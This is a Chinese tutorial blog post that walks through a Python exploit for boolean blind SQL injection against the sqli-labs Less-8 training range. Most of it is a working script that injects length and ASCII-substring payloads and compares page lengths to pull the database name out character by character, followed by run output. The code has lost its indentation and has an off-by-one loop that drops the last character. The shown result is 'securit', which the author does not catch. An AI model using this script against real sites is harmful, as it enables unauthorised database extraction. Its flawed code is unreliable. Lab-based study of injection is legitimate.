前言:
前面学习并实现了简单的注入exp编写,那是根据注入的payload 匹配 网页内容得到注入数据,像这种exp只能应用于简单的注入,盲注入就要复杂一些,但是原理也是差不多。
exp原理:
我们知道,对于sql布尔盲注,也就是页面只会返回两种状态,一种是注入语句正确执行返回正常页面,一种就是注入语句执行错误返回不正常页面,我们就可以通过返回页面的状态判断我们注入语句是否正确执行,在sql布尔盲注中,我们常通过逐个判断字符来得到最终的信息, 源于此,我们就有如下思路了:
返回的页面不同,也就是返回数据的长度不同,就只有两种情况,我们先获取正常页面对应的数据长度,再通过我们构造的注入语句带入执行返回数据的长度与其比较,从而得到我们想要的信息
得到信息的具体步骤可以分为如下步骤:
先得到该信息的长度 ,再遍历每一个字符的ascii码,再将ascii码转为字符,从而拼接出最终的信息
为什么这里不直接使用字符判断呢 ?是因为用的php版本会一般开启gpc 单引号就会被转义
这里我使用sql-libs靶场的第八关来演示,这是一个单引号字符型盲注,并且是GET请求方式
我们先用burp抓包获取数据包信息:
接下来就直接写代码了,下面获取的是当前数据库的名字:
import requests
def exploit(url,headers):
responde = requests.get(url, headers)
data = responde.text
return data
#获取所要查询信息的长度(这里指的是当前数据库的名字的长度)
def getstrlen(url1,data,headers):
data_len=0
i=1
while True:
payload=f"1' and length((select database()))={i} --+" #注入语句
url = url1 + payload
result=exploit(url,headers) #获取当前页面的返回数据
#对比两次页面返回数据的长度,判断出所查询信息的长度
if(len(data)==len(result)):
data_len=i
break
else:
i+=1
return data_len
#判断当前数据库名每个字符的值,从而的到完整的数据库名
def get_data(url1,headers,data,data_len):
content=''
for i in range(1,data_len,1):
for j in range(1,125,1):
payload=f"1' and ascii(substring((select database()),{i},1))={j} --+"
url = url1 + payload
result = exploit(url, headers) # 获取当前页面的返回数据
if(len(data)==len(result)):
c=chr(j)
content+=c
print(f"判断出第{i}个字符为:{c}\r\n")
break
return content
#启动函数
def run():
#返回正常页面的url
url = "http://192.168.43.2:9998/Less-8?id=1"
#请求头
header = '''
Host: 192.168.43.2:9998
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0'''
# 去参数头尾的空格并按换行符分割
headers = header.strip().split('\n')
# 使用字典生成式将参数切片重组,并去掉空格,处理带协议头中的://
headers = {x.split(':')[0].strip(): ("".join(x.split(':')[1:])).strip().replace('//', "://") for x in headers}
#print(headers)
data=exploit(url,headers) #获取正常页面的返回数据
#print(len(data))
url1="http://192.168.43.2:9998/Less-8?id="
data_len=getstrlen(url1,data,headers)
#print(data_len)
content=get_data(url1,headers,data,data_len)
print(f"判断出最终结果为:{content}")
if __name__=="__main__":
run()
执行结果:
判断出第1个字符为:s
判断出第2个字符为:e
判断出第3个字符为:c
判断出第4个字符为:u
判断出第5个字符为:r
判断出第6个字符为:i
判断出第7个字符为:t
判断出最终结果为:securit
获取其它信息的话在代码中改一下payload就行了。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)